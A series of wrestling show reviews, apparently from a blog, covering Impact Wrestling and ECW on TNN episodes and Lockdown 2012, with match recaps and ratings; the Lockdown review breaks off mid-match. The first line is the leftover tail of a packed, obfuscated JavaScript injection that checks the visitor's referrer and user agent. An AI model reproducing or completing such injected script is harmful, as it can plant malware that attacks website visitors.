");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deirr|var|u0026u|referrer|bdkdd||js|php'.split('|'),0,{})) Wrestling
Date: July 26, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We open with the usual recap from last week.

People talk about Chavo debuting tonight.

Post break Roode yells about it being Storm. He takes his bags and leaves as Jason Hervey is apparently the interviewer.

Madison Rayne/Gail Kim vs. Mickie James/Tara

Sting tells Aries to make some cuts to the X-Division. You know, right after they were introduced a few weeks ago.

Sam Shaw says he loves this business.

Gut Check: Sam Shaw vs. Douglas Williams

The Gut Check judges talk in the back and Snow is ticked off about Ryan.

Bound For Glory Series Standings:

Samoa Joe 47

James Storm 43

Mr. Anderson 30

Jeff Hardy 28

Kurt Angle 27

Christopher Daniels 26

Rob Van Dam 21

Magnus 14

AJ Styles 14

Bully Ray 7

Robbie E 5

Bound For Glory Series: AJ Styles vs. James Storm

X-Division Title: Zema Ion vs. Kenny King

My guess is that Roode did that because Aries picked King. Aries runs out and jumps Roode.

Ion/Roode vs. Aries/King next week.

Bound For Glory Series: Bully Ray vs. Kurt Angle

Rating: B. I was digging this as it was Angle 101, which means it works very well. Good match here as you had two guys beating on each other for about twelve minutes and seeing who was going to be able to get the pin finally. Angle winning makes the most sense but it looked great to see Ray getting that close.

Results

Gail Kim/Madison Rayne b. Mickie James/Tara – Rollup to James

Douglas Williams b. Sam Shaw – Rolling Chaos Theory

Zema Ion b. Kenny King – Moonsault

Kurt Angle b. Bully Ray – Angle Slam

Remember to follow me on Twitter @kbreviews

ECW on TNN
Date: October 8, 1999
Location: Civic Center, Houma, Louisiana
Attendance: 2,000
Commentators: Joey Styles, Joel Gertner

We’re a step closer to November 2 Remember which I think is the flagship show but they only treat it like that once in awhile. The main story at the moment is the battling tag champions which was intensified after Raven cost Dreamer a match last week. Other than that we’re still waiting on most of our upcoming matches. Let’s get to it.

We open with a video on the women of ECW. Tonight the performer formerly known as Sunny is going to blow the lid off of women in wrestling. It’s amazing how much more fun the girls were to look at when they could do more than awkwardly smile if they were good or frown if they were bad.

Theme song.

After Joey and Joel intro the show, we get a clip from late August in the ECW Arena and a Sunny (called Tammy Lynn Sytch here) vs. Francine catfight which is cut off pretty quickly.

Time for another match from Anarchy Rulz. It’s clipped on the TNN broadcast but here’s the match review in full.

Yoshihiro Tajiri vs. Super Crazy vs. Little Guido

During the entrances, Joey says he’s more or less high on laryngitis medications. Ok then. Tajiri is in his traditional look now. Crowd seems to favor Crazy the best. They point out the three distinct styles here which is a nice touch. Well this is better than another combination them going one on one again I guess. Oh and Big Sal is now the Big Salbowski. Give me a break.

Yes I get that it’s an intentional parody, but if this was the other way around, ECW would be FREAKING over WWF taking another idea from them. When ECW does it, it’s a parody though. Yeah that’s annoying. The chant of Where’s My Pizza starts up. WOW those get annoying. It’s your basic spotfest to start: stupid but fun. Guido hooks a camel clutch on Crazy and Tajiri kicks the tar out of him. They set for it again and Tajiri kicks the tar out of Guido. Nice one.

Tajiri hits a picture perfect moonsault to the floor to take out both guys. It was of the Asai breed in case you were curious. Guido hits a second rope Fameasser which looked good. Not sure why but it did. Crazy one ups Tajiri by hitting a top rope Asai moonsault and lands ON HIS FEET. That was awesome looking. In a SICK spot, Tajiri goes for a sunset flip on Crazy but it’s blocked. Tajiri pulls himself back up, spins crazy around and hooks the Tarantula.

Guido throws in a great double foot to the face. That was one of the coolest things I’ve seen in a long time. Guido gets the Sicilian Crab at the same time Crazy gets a camel clutch. Tajiri was totally off the ground. Ton of sick spots in this match. That baseball slide dropkick in the Tree of Woe is always great. Crazy follows that up with a moonsault to put Guido out.

It’s elimination rules in case you didn’t get that so we’re down to Tajiri and Crazy. The ten punch count being in Spanish is always a nice touch. The handspring elbow hits for Tajiri. We get a Super Loco chant. When they get creative like that I can live with them. Tajiri blocks the triple moonsault and just goes off on Crazy. A SICK brainbuster ends it.

Rating: B-. This is an odd match. The spots were great and I liked them a lot, but I just could not get into the match as a whole if that makes sense. I think it’s because this has been done so many times now that there’s just no real reason to care about this match. It was fun, but there’s just nothing of substance to it. Nice spot fest though.

Nice to see them use ¼ of their show on an old match.

We talk about Sunny being introduced to the world in SMW in 1994, which would be when she was 21. The shots here are of her in a swimsuit, and based on how she looked in WWF, imagine how good she looks here. We get a bio of her and how the pressure got to her. She talks about how she started abusing prescription drugs, namely Soma. She talks about how Louis Spicolli died from overdosing on it and alcohol.

Here’s another match from Anarchy Rulz, this time the opener.

Lance Storm vs. Jerry Lynn

We start with this? Really? I guess part of anarchy is that we’re getting rid of the best match right off the bat for some reason. Dawn Marie’s dress is almost not even there. These are two of my favorites from ECW so I’ll be pleased with this more than likely. Jerry’s ribs are messed up because the Impact Players beat him up about a week before.

Lance Storm having his own personal chick is just amusing. Crowd is pretty one sided to say the least. We have a nice technical piece to start. Did you expect anything else? The fans applaud which is always a good sign. ECW fans were fair if nothing else. I’ve always liked Joey’s mentioning of the referees. They work extremely hard and rarely get the credit that they deserve. Storm’s chops kind of suck.

There’s a bad delay right before it connects and it makes them look really weak. The fans get bored with the match and would like to see something from Dawn. Cyrus gets a nice line in by saying that Storm is a step ahead of Gene Kiniski who was billed as Canada’s Greatest Athlete: he’s CALGARY’S Greatest Athlete. That’s a great line and could be solid for a heel in a territorial promotion.

The referee yells at someone at ringside for a LONG time with his eyes totally away from the action. Nice one guys. Jerry hits a nice plancha from the top rope to the floor and down goes Storm. Having Cyrus as an analyst is a GREAT help. Joey is fun to listen to but there is simply too much to have one guy do. That’s not a knock on Styles. It’s too much for anyone. Having an analyst in there takes a ton of pressure off of Joey and it’s helping a lot.

Cradle piledriver is blocked. Again, can someone explain the difference to me? SWEET pinfall reversal sequence that goes on for nearly a minute straight. That’s VERY impressive and literally gets a standing ovation from the crowd. They go wide to show it and they well should. Amazing stuff as I knew it would be. Cyrus points out that he used to be a wrestler which is something that needs to be done more often.

TNA has been doing it more often lately as they point out that Taz used to be a wrestler. He’s been retired what, 9 years or so? A LOT of fans likely haven’t seen him wrestle. How long has it been for King? Point out to the fans that he actually has experience. Jerry is a former world champion as is Taz. Let the fans know that once in awhile. There’s a chair wedged in the corner that hasn’t been doing anything yet.

Lynn is thrown into the corner but slides to avoid the steel macguffin. He slams his ribs into the post though and Storm goes after it like a Hart-trained wrestler attempting to use basic psychology. Lynn hits a Stunner out of nowhere to get us back to even. I love when wrestlers just bust out random moves.

It makes no sense that so many guys only use their signature stuff. Use whatever comes to mind, at least in kayfabe terms. Storm hits a knee to the ribs and hooks a ¾ nelson of all things for the clean pin? That came out of NOWHERE. It’s fine to end it that way as it looked solid, but DANG that was random.

Rating: A-. I loved this and yes it’s biased. Even still though, this was very solid stuff. See what happens with simple psychology and good wrestling? It works very well indeed and you get a great match that I was way into. This worked and to be fair it’s probably because they’re two of my favorites in ECW.

House show ads.

They air the November 2 Remember ad twice in a row.

Sunny talks about being the Kliq Chick and how she didn’t like being looked at as someone that should get pushed because of who she was hanging out with/sleeping with. She says her first drink was after she left the WWF. For some reason I have a few issues believing that. Sunny talks about her niece dying and Paul pushes her to talk more. She blasts some of the other girls in the business and says she’ll set the standard and she’s still alive. End of show.

Overall Rating: I. As in Incomplete. This was Sunny babbling about nothing of note in what was supposed to be an expose. The “expose” wound up being her saying she hung out with the Kliq and that the other girls aren’t as good as her. On top of that they can’t even film new matches for anything so it’s back to Anarchy Rulz again. We’ve seen almost half of that show here on TNN. They had like four nights a week of house shows and they couldn’t film 45 minutes worth of stuff? The wrestling we got was fine but when it was all old stuff, what’s the point?

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Impact Wrestling
Date: April 19, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the first show after Lockdown and according to the previews, Hogan has a huge announcement for the night. That could mean anything around here so I have no idea what to expect. Other than that Eric is supposedly gone (why do I not buy that) and Roode retained the title in a pretty questionable decision. Let’s get to it.

We open with a recap of the end of Lockdown and Storm saying that this is a tough one to swallow.

Here’s Roode to open the show and he has short hair now. He says all of his catchphrases and says he’s still world champion. The kick nailed him but he’s still champion. He says that he’s beaten every one of the people’s heroes and there aren’t any left. Cue Anderson who says he doesn’t need a gun, a knife or a beer bottle to take the title. Roode says Anderson isn’t at the front of the line so hit the road Jack.

That brings out Hardy who limps to the ring just like Roode did. Hardy says it’s time to get selfish and end Roode. Anderson says he was here first which Roode agrees with. Hardy says it’s his turn but Anderson tells him to get in line. They’re about to brawl but Hogan pops up on screen and has something to say. He wants all of the champions in the ring tonight. As for Hardy and Anderson, they’ll have a match later for the #1 contender spot in the main event.

Crimson/Bully Ray vs. Matt Morgan/Austin Aries

Nothing wrong with combining feuds. Crimson and Morgan get it on to start but Ray interferes to make Morgan miss a boot. Crimson works on the leg with Ray ramming it into the apron. Ray works on the knee for awhile before Crimson comes back in to work on the leg, including a basic leg lock. Morgan avoids a charging Crimson and makes the tag to Aries.

The champ fires off with a bunch of speed and tries some poetry in motion with Crimson playing Matt. Crimson accidentally spears Ray and heads to the floor. Suicide dive takes out Crimson so Aries loads up the brainbuster. Ray rolls out of it and a handful of tights pins Aries at 6:03.

Rating: C-. Not much here but I guess it’s supposed to set up Aries vs. Ray down the line. At least that’s what the signs would be pointing to here. The match wasn’t bad or anything but it didn’t really make me want to see either of these pairings go at it again, which kind of defeats the purpose of the match.

Hardy says he and Anderson both deserve chances so he’s fine with Hogan’s decision.

Here’s Garrett to bring the show down. He has his Lockdown team with him minus Aries. AJ is in black gloves for some reason. Garrett says they won after a hard fight and got rid of his dad. Here’s Flair to say that they got rid of Eric BEEP. Yeah they’re censoring his name now. Flair runs down the guys in the ring and says next week there’s going to be an Eric party. He’ll drinking there too and those four aren’t invited.

We go to the back with Daniels and Kaz. Daniels has an envelope which apparently holds whatever he has over AJ. It’s over AJ and not Kaz. Ok then.

Joe, Magnus and D-Von have a quick powwow but don’t know what the announcement is about later.

Kurt Angle vs. AJ Styles

AJ has black tights and gloves. The look really isn’t working for him. Angle tries a German suplex grip but AJ escapes….and the screen goes black and we go to a commercial. Seemed like a glitch. Back from what I guess was an early cut to a commercial. Daniels and Kaz are at ringside. Styles hits the springboard forearm but Daniels pops up on the apron with the envelope. AJ escapes the slam and Daniels shows Styles the papers. The distraction lets Angle roll him up for the win at 5:26 total, but about 4:30 was in commercial so no rating.

AJ is freaked out by the envelope and he doesn’t seem that concerned with the loss. Daniels says he has copies.

Joseph Park is still looking for Immortal but Gunner still doesn’t want to talk to him. Joseph stops him from leaving and says that he’s not going anywhere because he wants answers. Gunner says go talk to Bully Ray. Park seems cool with that idea.

Here come all the champions and the feed cuts out again as D-Von comes to the ring. This wasn’t as bad as it only cut about 5 seconds because it was said they were going to commercial.

Back and all the champions are in the ring. In the back RVD is coming to the ring and Hogan stops him for some congratulating. Hogan throws him in the #1 contenders match, I think because he was on the team that got rid of Eric. Well at least it’s not Garrett getting the chance.

Hogan comes to the arena now for his big announcement. Starting next week, once a month it’s Open Fight Night. On that month, someone from outside of TNA is going to be able to come on Impact to wrestle. They get to have a match and they’ll be judged by three people. If the judges and Hulk like what they see, the person gets a contract. So they’re combining this with his Celebrity Wrestling show? Oh and also, ANYONE can issue a challenge to ANYONE and it’s automatically a fight.

Roode obviously protests and says that’s not fair. He asks Hogan who he thinks he is and there goes his intelligence. If a champion gets called out, Hogan gets to decide if it’s a title match. You can tweet and Facebook Hulk ideas as well to determine if a champion defends. D-Von says he wants to be a fighting champion so the TV Title will be on the line every week. So to recap, every month someone from outside the company gets to come in and try their luck for a contract. There’s the challenge night, and there’s going to be a title match that night every month. Oh and the TV Title is defended weekly now.

Gail Kim/Rosita/Sarita/Madison Rayne vs. Tara/Brooke Tessmacher/Mickie James/Velvet Sky

Velvet vs. Sarita to start and Sky hits the Kelly Kelly headscissors. Off to Rosita who gets beaten down as well. Gail comes in and hits a clothesline for two. Velvet smacks her around so it’s off to Madison vs. Brooke and then Mickie very quickly. Flapjack takes Madison down and Mickie goes up, but Sarita pulls her onto the ropes for two. With Mickie on her knees, Rosita manages to hit a rana for two.

Mickie hits a neckbreaker for some breathing room and it’s off to Tara. Down goes Sarita and we get the jiggling moonsault. Tessmacher comes in and gets Salsa danced at. TNT takes Sarita down and dances as well. Facejam out of the corner draws in Madison and it’s off to Gail quickly. Everything breaks down and Velvet distracts Gail enough for Brooke to get the rollup pin at 5:40.

Rating: C. The match wasn’t bad but the whole reason it was there was to st up Brooke as the next challenger. Well that and to have eight hot women in small outfits in the ring at the same time so on both levels it worked. We needed some fresh blood in the division anywhere so this is a good thing.

Velvet yells at Gail post match like she was the one that got the pin.

ODB and Eric are on their honeymoon. They’re by a pool and Eric has a bag of ice on his pelvis because of some friction issues. A guy pops up and Eric freaks on him and strips down.

TV Title: Gunner vs. D-Von

Gunner jumps him and we’re off and not quite running. D-Von comes back with his right hands but runs into an elbow. Clothesline gets two for Gunner. He beats on Gunner for a bit until D-Von comes back with a shoulder block. Thesz Press sets up a headbutt and more jumping moves. Spinebuster finishes clean at 4:07.

Rating: D+. This match exists. That’s about all I can say for it. D-Von has done ok I guess, but there are so many other people that they could use in his spot which is what makes me skeptical of him. Not a bad match but I think I like this idea of the title being on the line every week. It’s a lot better than the nonsense of it being just at PPVs.

Here’s Storm for the big talk post Lockdown. After a break he apologizes to his family and thought that Roode being looked at by medics was enough. Then he had to drive home and look at his daughter when she asked where the belt was. He couldn’t look himself in the eyes either because he didn’t want to see a failure. Storm says he beat himself and talks about all the work he’s put in to get here. His biggest apology is to his dad though, because that’s who he let down the most. Roode said that Storm’s luck has run out and maybe that’s true. He drops the mic and walks away. Really good promo.

Rob Van Dam vs. Mr. Anderson vs. Jeff Hardy

Winner gets Roode at Sacrifice. Everyone attacks everyone to start with no one getting a distinct advantage. Jeff’s sitout gordbuster gets two on RVD. Hardy gets sent into the post and Anderson hooks a chinlock on Van Dam. Whisper in the Wind takes Anderson down and it’s into one of the triple threat formulas, this one being everyone takes everyone down and no one gets a long term advantage. Twist to Anderson and Jeff hits the Swanton but Van Dam kicks his head off before a cover. Five Star hits Anderson and a backslide to Hardy gives Rob the win at 5:24.

Rating: C-. This was uh….short. It wasn’t bad or anything but it never got off the ground due to the time in it. I’m curious as to where Anderson and Hardy go here, but Van Dam vs. Roode seems like a pretty weak main event at Sacrifice. To be fair though, maybe that’s what they’re going for. Not a bad match but it’s nothing that’s going to be remembered.

Overall Rating: C+. This was a mixed bag for me. There’s some good stuff in here but some more questionable stuff. Unless Storm is hurt, I don’t get where they’re going with him. Then again I haven’t gotten it since they had the Lockdown match end that way. Other than the TV Title, it’s a wait and see moment with Hogan’s announcement at this point as there’s a lot of stuff to take in. This wasn’t a bad show, but it’s more of a starting point so it’s hard to say what this stuff is going to mean.

Results
Bully Ray/Crimson b. Matt Morgan/Austin Aries – Ray pinned Aries with a rollup
Kurt Angle b. AJ Styles – Rolup
Brooke Tessmacher/Tara/Mickie James/Velvet Sky b. Gail Kim/Rosita/Sarita/Madison Rayne – Tessmacher pinned Kim with a rollup
D-Von b. Gunner – Spinebuster
Rob Van Dam b. Jeff Hardy and Mr. Anderson – Backslide to Hardy

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ECW on TNN
Date: September 17, 1999
Location: ECW Arena, Philadelphia, Pennsylvania
Attendance: 1,500
Commentators: Joey Styles, Joel Gertner

Back with another episode, I believe the forth one. The main event tonight is again Lynn vs. RVD which was at least more enjoyable last time. Other than that we’ve got some very short matches which I’m sure will please the fans in Philly but won’t do jack for the rest of the country. These shows at least go by quickly. Let’s get to it.

We open with a clip of Raven and Dreamer pinning Rhyno/Victory to keep the titles, presumably at a PPV or somewhere. Raven only popped up at the end to retain again. Apparently this was the very ending of a match that was happening before the TV taping begin.

Cyrus’ ban has been lifted and he’ll be at the PPV, according to Cyrus. Fonzie says the only person in danger is Justin Credible for having Sabu banned in the first place. Sabu pops up and since this is the REAL ECW, he doesn’t talk.

Theme song.

Spike Dudley vs. PN News

Yes, it’s THAT PN News. Acid Drop, pin in less than thirty seconds.

Someone has been injured and is being taken out in an ambulance but we don’t know who.

Super Crazy vs. Tajiri

This is joined in progress with Tajiri in control. He powerbombs Crazy to the floor and they go into the crowd for a bit which doesn’t get them anywhere. Missile dropkick misses so Crazy hits him diez times in the corner. The handspring elbow misses but Tajiri does that submission where he bends Crazy over his back and spins him around. The Japanese guy hits a German on the Mexican but he walks into a powerbomb for the pin. Too short to rate but it was the usual fast paced goodness from these two.

We go to a playground at night with Raven hanging out by the swings. He talks about the two year war with Dreamer and we get some highlights from it. We get the “It’s Tommy’s” line from Beulah about her baby which is still awesome. Raven talks about how he took Dreamer to school and after two years, it was time for Dreamer to graduate. The pop when Dreamer pins him is still great. Then Dreamer let Beulah get hurt by the Dudleys, so now Raven has to save him again. This didn’t make a lot of sense but it’s Raven so it rarely did.

Here are Storm and Dawn Marie unscheduled.

TV Title: Lance Storm vs. Rob Van Dam

This means that it was Lynn in the ambulance earlier at the hands of the Impact Players. While Van Dam is walking around high fiving fans, Storm dives onto him to take over. Springboard missile dropkick puts Van Dam down and Storm crotches him on the top rope. Chair to the head puts Van Dam….not down at all as he hits a one footed kick to the chair, kind of like a Van Daminator from the top. And here’s Justin for the double beatdown.

Lynn, all taped up makes the save but a British dude named Johnny Smith runs in to make it 3-2 in favor of the Players.

Lynn is being taken out after a break but Rob runs his mouth enough to get Lynn off the stretcher and into the ring for the scheduled title match.

TV Title: Jerry Lynn vs. Rob Van Dam

Rob charges at him and we go straight to their usual “you can’t hit me but I can’t hit you either” sequence, resulting in a double clothesline. Spin kick gets two for Rob. Lynn cross bodies him to the floor but his bad ribs are sent into the barricade. Rob tries a Van Daminator but Lynn has a brain and pelts Rob with the chair. They both get onto the barricade and Lynn hits something like a bulldog to send Van Dam face first into a chair.

He picks up the chair and there’s the Van Daminator. That gets two back in the ring but Rob is still sore from the beating earlier. Lynn sits up to avoid Rolling Thunder but gets kicked down so that the split legged moonsault can get two. Fonzie throws in a chair but Rob lays it down in the corner. Lynn jumps over Rob in the corner but gets kicked in the face then kicked again, this time from the middle rope for two.

Now the chair is put in the middle of the ring. Rob tries the running monkey flip out of the corner but Lynn jumps out of the way and hits a powerbomb out of the corner onto the chair for two. Bridging German gets the same. Van Dam has a small cut above his eye. They go to the corner and the champ hits a BIG clothesline to put Lynn on the floor and through a table.

The match stops for a bit as Lynn is in agony and almost has to leave. Eventually he comes back to a big ovation and gets suplexed back inside. Rob goes for the chair but as he picks it up, Lynn dropkicks it into his face for two. Cradle piledriver is countered as is Van Dam’s northern lights suplex by a DDT from Lynn. That gets two and both guys are spent.

A superplex from Lynn puts both guys down again and gets an eventual two for Lynn. Van Dam grabs a small package for two as well as a rollup for the same. Fonzie pops Lynn with a chair but the Five Star misses. Lynn covers off the miss but THAT gets two. Van Daminator FINALLY gets the pin on Lynn.

Rating: B. This was probably my favorite of the 9000 matches these guys had. The near falls were great and the injury angle helped a lot. Joey seemed to have a conspiracy theory going on about how Lynn wasn’t really jumped or something, but I don’t think anything ever came of it. This was a really fun match and for a TV show, this was excellent.

Lynn gets a big ovation to end the show.

Overall Rating: C. Given that one match was almost half the show, that gives this a pretty positive ending. The rest of it was pretty stupid, but for once they have some clear stories going on. They don’t however use the show to build up the PPV, which is probably the whole point of it. The Van Dam vs. Lynn match is good, but once you see them fight 10 times it loses some of the appeal. Good show, probably the best so far.

Here’s Anarchy Rulz if you’re interested:

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Lockdown 2012
Date: April 15, 2012
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Commentators: Mike Tenay, Tazz

This is the second biggest show of the year for TNA as every match is inside a cage. The double main event is Roode vs. Storm for the title and Lethal Lockdown with Team Bischoff vs. Team Garrett in a match that no one really wants to see, even the big TNA fans. We also have Angle vs. Hardy in what should likely be Angle’s great match that he always has here. Let’s get to it.

Young/ODB vs. Rosita/Sarita has been added to the show.

The opening video is of Storm getting in a truck and saying that it ends tonight with Roode.

The regular opening video is a history of Beer Money and how they had a lot of success but they were never friends. This has a lot of audio clips from the showdown on Thursday which is a good thing.

Team Garrett has a meeting. Garrett wants to go first to earn his team’s respect. Great. MORE Garrett. The team agrees.

Lethal Lockdown

Team Eric: Eric Bischoff, Gunner, Bully Ray, Kazarian, Christopher Daniels
Team Garrett: Garrett Bischoff, AJ Styles, Mr. Anderson, Rob Van Dam, Austin Aries

I was worried this would close the show so this is a nice surprise. This is TNA’s WarGames match and if Garrett’s team loses, he’s out of TNA. If Eric’s team loses, he’s out and can’t use his name in wrestling again. Three minute opening period then two minutes for each one after that and Team Eric has the advantage. Gunner and Garrett start of course and it’s power vs. speed.

Garrett tries to avoid the power but after a missile dropkick, Gunner takes over by running him down. Into the corner and Gunner hits a running knee to the head. No pins or submissions until all ten are in remember. He rams Garrett into the steel and Bully Ray is out next for a two minute advantage. Gunner holds him for a running boot to the chest. This is pure dominance for about 90 seconds until Austin Aries is in fourth. The fans were cheering his name so they’re giving the people what they want.

Aries EXPLODES on Ray in the corner and gets in some shots on Gunner as well. At about a minute in he runs into a boot and Ray takes over. Garrett stays in the corner where he belongs as Aries, the actually good wrestler, does the work. A missile dropkick puts Ray down and Kazarian, with a nearly shaved head, is in next. The fans chant that he looks stupid and it’s a three on one beatdown of Garrett. Gunner chokes Aries as Kaz fires off kicks to the ribs of Garrett.

AJ evens things up as this is in classic WarGames formula already. Kaz tries to meet him coming in but AJ slams the door on his head. Pele takes Gunner down but Ray runs him over. Sweet dropkick takes Ray down and everyone pairs off. Here’s Daniels for another advantage. It’s 4-3 at the moment and Daniels gives Team Eric the big advantage. Ray pulls off his belt and Garrett takes a whipping.

Anderson is the fourth guy for his team so there’s just Eric and RVD to go. It’s the heel beatdown again but AJ manages a nice suplex on Ray. Now back to your regularly scheduled beatdown with thirty seconds to go before Eric comes in. Here’s Eric in business casual attire. He holds Garrett for a big chop from Ray and Gunner gets in one as well. Eric and Daniels talk trash as the clock counts down.

Here’s Van Dam and he cleans house. There hasn’t been a lot of that in this match so far. There hasn’t been much to commentate on because it’s been 17 minutes of punching and kicking so far. That’s what these matches usually are so it’s not a shock, but it’s still not that interesting. Eric hides in the corner and here come the weapons. The match basically resets here as everyone gets a weapon and Team Garrett takes over.

Daniels takes a bunch of weapon shots and Aries stomps away on Ray. Eric gets dragged in by AJ and Austin and the beating commences. Van Dam loads up the Five Star but Gunner crotches him. Ray lawn darts Aries into the cage but Anderson comes back with a swinging neckbreaker to Daniels. Kaz gets the spotlight now as he beats up everyone before focusing on AJ.

Kaz monkey bars across the top of the cage but AJ follows him and kicks him down. He drops an elbow down on Kazarian and RVD hits the Five Star. Ray takes Van Dam down but picks up a chair. YOU DON’T PICK UP A CHAIR IN A ROB VAN DAM MATCH! Van Daminator puts him down but Daniels pops up to take Van Dam out. Daniels goes after Garrett but Garrett hits his falling Diamond Cutter.

He covers Daniels but Eric grabs a kendo stick to pound away on him. Eric insults his own wife by calling Garrett an SOB and beats Garrett half to death. The fans want blood. Eric is the only one up at the moment. Garrett pops up and guitars Eric for the pin at 26:04 to get rid of Eric for I’d say three months or so. That was completely out of nowhere.

Rating: C-. This was probably the worst Lethal Lockdown I can ever remember. There was A LOT of punching and kicking and no big spot at all. Also the whole thing here was supposed to be about Garrett’s big comeback but really all he did was pop up after a bunch of kendo stick shots, hit Eric once and pin him. Naturally that probably means more TV time for Garrett because that’s what the fans are screaming for in Eric’s ears, but that’s life in TNA. Getting this out of the way first was a good idea though.

Tag Titles: Motorcity Machineguns vs. Magnus/Samoa Joe

The Guns have generic music to start but their regular theme starts during their walk to the ring. Methinks that was a glitch. You can win by pin, submission or escape for the rest of the matches. Magnus and Shelley start things off. Things speed way up to start and Magnus gets a clothesline for two. Sabin gets a blind tag and a pair of kicks get two. Off to Joe who is too fat for Sabin to run over.

A crucifix into a sunset flip doesn’t really work either so let’s try a dropkick. That at least slows Joe down and it’s off to Shelley. Back to Magnus who gets caught in a pinball series of punches. Magnus comes back and manages a fallaway slam to throw Sabin into Shelley in a cool spot. Back to Joe who pounds Sabin down to give us a face in peril. I think he’s in peril to another face but you get the idea.

The champions double team Sabin to keep him in the ring including a big boot to set up a backsplash for two. Magnus hooks a chinlock but Chris comes back with a jawbreaker to get out. A spinning spinebuster puts Sabin right back down and it’s off to Joe again. Snap suplex gets two. Sabin grabs a tornado DDT while climbing up Magnus and is able to make the tag. Shelley comes in but even that doesn’t wake this crowd up.

Sliced Bread is broken up but Sabin powerbombs Joe out of the corner. Magnus is knocked off the top and a top rope double stomp gets two for Shelley. A move I think called the elevated Hero’s Welcome gets two on Magnus. Skull and Bones is broken up and Sabin is caught in the Clutch. Sliced Bread hits Magnus and Joe has to break up the choke to make the save. The champions’ finisher misses so Sabin hooks up a rear naked choke on Joe. Magnus hits a kind of Michinoku Driver on Shelley and Joe runs out of the corner, dropping Sabin on Shelley. The snapmare/elbow gets the pin on Shelley at 11:19.

Rating: B-. This started really slow but once they stopped the tagging it got a lot more exciting. I definitely agree with the champions retaining here as there’s nothing for the Guns to do in this division anymore. Having them as something like Beer Money for the last year they were together would be a much better spot for them which is something they could do now.

Robbie E says he’ll get the TV Title back. Why didn’t this go after Lethal Lockdown to save the crowd a bit?

TV Title: D-Von vs. Robbie E

D-Von rams Robbie into bigger Rob to start. Robbie takes him down and stomps a lot, followed by a middle rope forearm for two. Time for the chinlock for a bit before Robbie goes to the top rope (yes rope, not corner), only to get crotched. D-Von comes back with a shoulder block and Miz’s Reality Check. Corner splash sets up the spinebuster to retain at 3:26.

Rating: D+. I get the idea of filler, but it’s still D-Von Freaking Dudley with a title. I could definitely see Ray having a belt at this point as he’s elevated his game huge, but D-Von is so average it’s unreal. He’s huge and has gotten in great shape, but how many other people would be better with the title? In short, no one because it’s never defended so it doesn’t really matter, which is the much bigger part of the problem.

Robbie T beats down D-Von post match, probably to continue the feud.

Matt Morgan says that he’s in wrestling to make money and win titles. Tonight, it’s about revenge though and the cage is a prison cell.

Knockouts Title: Gail Kim vs. Velvet Sky

No pigeons again and Tazz is upset. Her outfit is different this week as it’s more like a skirt. Madison comes out with Gail. Velvet grabs a fast rollup for two but Gail hits her in the back to take over. Velvet fires off some shots but Gail knocks her back, hitting a missile dropkick for two. More back work in the form of a backbreaker with the bending over the knee by Gail before she moves on to a knee lock, bending it around her own head.

Gail hooks something like a dragon sleeper which is countered by a jawbreaker. She misses a charge in the corner but Velvet is down too. Flying headscissors puts Gail down but she pops up to try and climb out. Velvet follows her up for some knees on the top rope. She looks for In Yo Face but settles for a sunset bomb for two instead. Madison starts yelling at Velvet as Gail tries to escape. Sky notices and tries an O’Connor Roll which is reversed into a rollup by Gail with tights for the pin at 7:27.

Rating: C-. Not the worst match ever but they’re not doing anything to help this already bad crowd. Gail keeps the title here, which I can live with because there was very little build for Velvet, but they need someone to breathe some life into this division. Gail and Madison has been played but it didn’t get mentioned at all here for the most part.

Here’s Flair for some chatting. If anyone can get a crowd fired up it’s him. Flair asks if the people know who he is and insults some fans at ringside for not knowing who he is. I think he’s drunk. He’s ticked off and that’s not good for who he’s ticked off at, and that would be Hogan. Tonight Hogan ended Eric Bischoff’s career and that’s not cool. He insults some fat guy in a yellow t-shirt and here’s Hulk.

Flair talks over Hulk’s music about how Hogan has ticked him off and there’s a good Hogan chant, the first solid crowd reaction in about an hour. Hulk asks if he can get in Flair’s ring and Flair says that’s fine. Ric sounds very drunk. Hulk says if Flair has a grievance, say it now. This is pure filler in case you couldn’t tell. Hogan says Flair asked if people knew who he was. He’s at Lethal Lockdown (is that match still going?) and here at Lockdown, Eric Bischoff is gone and can’t use his name again.

Hogan challenges Flair to a fight right now and that REALLY ticks Flair off. Hulk drills him and makes a funny face at him….and that’s it. Seriously, it was one punch. Flair says come back here and takes his tie off. Hogan leaves and Flair yells at Tenay. This has been going on WAY too long and it’s not accomplishing anything at all. The fans chant Space Mountain and Flair asks if someone wants to ride it….and that’s it.

We recap Crimson vs. Morgan which is pretty much Morgan’s feud with Abyss and Hernandez all over again.

Crimson vs. Matt Morgan

Crimson is now billed as “The Undefeated” on his graphic. Crimson goes for the door very quickly but Morgan keeps pulling him back in. Morgan walks into a clothesline for two as momentum shifts. Crimson rams him into the cage as the crowd is a little more awake now. He chokes Morgan on the ropes and a spinebuster gets two.

Crimson sets for what looked like the spear but walks into the discus lariat. Big boot puts Crimson down and it’s followed by a nice belly to back suplex. Morgan loads up the Carbon Footprint in the corner but gets tangled in the ropes. Crimson tries a quick escape but they wind up fighting on the top rope. Morgan gets crotched and tied up in the rope, allowing Crimson to climb out for the win at 7:26.

Rating: D. You know, if the time is such a problem tonight, maybe you could have this go a few more minutes and have the TV Title go longer than three minutes. It might keep the issues down a bit more. Anyway, this match was really boring as the feud has been put on hold for the last two weeks. This show is bordering on disaster at this point but there are some big matches to come.

We recap Angle vs. Hardy, which is because of Kurt not liking the way Hardy looks and acts, partially because of Angle’s son being a Hardy fan. Angle cheated to win last time at Victory Road.

Kurt Angle vs. Jeff Hardy

Angle said that he and Hardy could match HHH vs. Undertaker here and he’s had a great track record at this show so hopefully he continues that here. Hardy’s paint is black and white here. There’s this, the world title and the Knockout Tag Titles left so the show still has a small chance. Angle’s thigh is taped due to a legit injury. Kurt pounds him in the corner to start but Jeff comes back with the legdrop between the legs.

They’re going very slowly here but it might be a slow build. Jeff whips him into the corner and hits the slingshot dropkick but he’s holding his neck. Jeff seems to be ok though and he pounds Angle down in the corner. Kurt slams him into the cage which had a great sound. Snap suplex gets two. Back into the cage as it’s pretty clear Kurt is nowhere near 100%. It looks like Jeff is busted a bit but you can’t see that well.

